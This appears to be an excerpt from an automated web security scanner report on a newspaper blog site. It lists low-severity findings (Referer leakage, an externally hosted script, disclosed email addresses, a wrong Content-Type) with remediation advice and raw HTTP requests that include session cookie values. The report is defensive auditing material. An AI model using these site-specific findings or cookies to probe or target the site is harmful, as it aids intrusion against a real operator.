When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /dmr/wp-content/plugins/dmr-tweets/jquery.tweet.js?ver=3.0.4 HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:pas>
<head> <title>Daniels at CPAC calls for ...[SNIP]... <!-- NextGeEN Gallery CoolIris/PicLens support --> <script type="text/javascript" src="http://lite.piclens.com/current/piclens_optimized.js"></script> ...[SNIP]...
7. Email addresses disclosedpreviousnext There are 2 instances of this issue:
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
// define global settings var gdn_AuthService = "GDNAuth.ashx", gdn_ExtrovertService = "Extrovert/GDNExtrovert.ashx", gdn_MaxSessions = 10, gdn_RegService = "GCION.ashx", gdn_Vers ...[SNIP]... nable to register you. Please try again later.", CompanySizeNone: "You must select your company size", CountryNone: "You must select your country", EmailInvalid: "Your email address is invalid (Ex. username@domain.com)", EmailMax: "Your email address must be 100 characters or less", EmailNone: "You must enter your email address", ErrorHeader: "The following errors occurred in each required field:", FirstNameMax ...[SNIP]...
if (typeof GEL == 'undefined' || !GEL ) GEL= { util: new Object() }; //GEL.namespace("widget"); //derived from Paid content ValidateRegistration script (function(){ GEL.widget.ValidateRegistrati ...[SNIP]... s must be 100 characters or less"); errordiv.push(emailObj); } else if (!GDN.Validate.IsEmail(emailObj.value)) { valid = false; errorArray.push("Your email address is invalid (Ex. username@domain.com"); errordiv.push(emailObj); }
if (firstBadObj==null && valid==false) { firstBadObj = emailObj; }
gendermaleObj = get_object("ody_ac_gendermale"); genderf ...[SNIP]... s must be 100 characters or less"); errordiv.push(emailObj); } else if (!GDN.Validate.IsEmail(emailObj.value)) { valid = false; errorArray.push("Your email address is invalid (Ex. username@domain.com"); errordiv.push(emailObj); }
The response contains the following Content-type statement:
Content-Type: application/x-javascript
The response states that it contains script. However, it actually appears to contain HTML.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /odygel/lib/legacy/GDN/UAWidgets/LoggedOut.js HTTP/1.1 Host: blogs.desmoinesregister.com Proxy-Connection: keep-alive Referer: http://blogs.desmoinesregister.com/dmr/index.php/2011/02/11/daniels-at-cpac-calls-for-broad-civil-conservative-coalition/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anonId=44754709-9119-4062-9c0e-f4c8a41d42ed; GCIONSN=AAAAOn52dzox; SiteLifeHost=gnvm25l3pluckcom
/* ****************************************************************************** File: LoggedOut.js Copyright: Copyright (c) 2008, Gannett Inc. All rights reserved. ********************* ...[SNIP]...